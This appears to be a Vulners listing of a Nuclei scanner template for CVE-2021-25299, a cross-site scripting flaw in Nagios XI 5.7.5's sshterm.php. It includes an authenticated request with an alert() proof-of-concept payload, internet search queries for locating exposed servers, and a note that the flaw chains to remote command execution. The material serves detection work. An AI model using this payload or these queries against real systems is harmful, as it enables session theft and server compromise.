| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Nagios XI 5.7.5 Remote Code Execution Exploit | 26 Feb 202100:00 | – | zdt | |
| The vulnerability of the sshterm.php script (located at usr/local/nagiosxi/html/admin/sshterm.php), a monitoring tool for Nagios XI, allows attackers to perform cross-site scripting attacks. | 24 Feb 202500:00 | – | bdu_fstec | |
| CVE-2021-25299 | 15 Feb 202116:46 | – | circl | |
| Nagios XI和Nagios 跨站脚本漏洞 | 15 Feb 202100:00 | – | cnnvd | |
| Nagios XI Cross-Site Scripting Vulnerability (CNVD-2021-11074) | 19 Feb 202100:00 | – | cnvd | |
| Nagios XI Remote Code Execution (CVE-2021-25296; CVE-2021-25297; CVE-2021-25298; CVE-2021-25299) | 18 Feb 202100:00 | – | checkpoint_advisories | |
| CVE-2021-25299 | 15 Feb 202112:32 | – | cve | |
| CVE-2021-25299 | 15 Feb 202112:32 | – | cvelist | |
| CVE-2021-25299 | 15 Feb 202113:15 | – | nvd | |
| CVE-2021-25299 | 15 Feb 202113:15 | – | osv |
id: CVE-2021-25299
info:
name: Nagios XI 5.7.5 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
impact: |
Attackers can craft malicious URLs containing JavaScript that executes when clicked by admin users, potentially stealing session cookies that can be chained with other vulnerabilities for one-click remote command execution and complete Nagios XI server compromise.
remediation: |
Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
reference:
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
- http://nagios.com
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-25299
- https://assets.nagios.com/downloads/nagiosxi/versions.php
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25299
cwe-id: CWE-79
epss-score: 0.97714
epss-percentile: 0.99897
cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: nagios
product: nagios_xi
shodan-query:
- title:"Nagios XI"
- http.title:"nagios xi"
fofa-query:
- title="nagios xi"
- app="nagios-xi"
google-query: intitle:"nagios xi"
tags: cve2021,cve,nagios,nagiosxi,xss,authenticated,vuln
http:
- raw:
- |
GET /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
- |
GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(header_3, 'text/html')"
- "status_code_3 == 200"
- 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
condition: and
extractors:
- type: regex
name: nsp
group: 1
regex:
- 'name="nsp" value="(.*)">'
internal: true
part: body
# digest: 4a0a00473045022100a8695df6f2d0f33102393675e2c74dfb4eded1adf05811e045873f47d61c774f022067193f98f064a7b1df5c982de1486dc864ffa456d44ed9ae324fc18605649a68:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation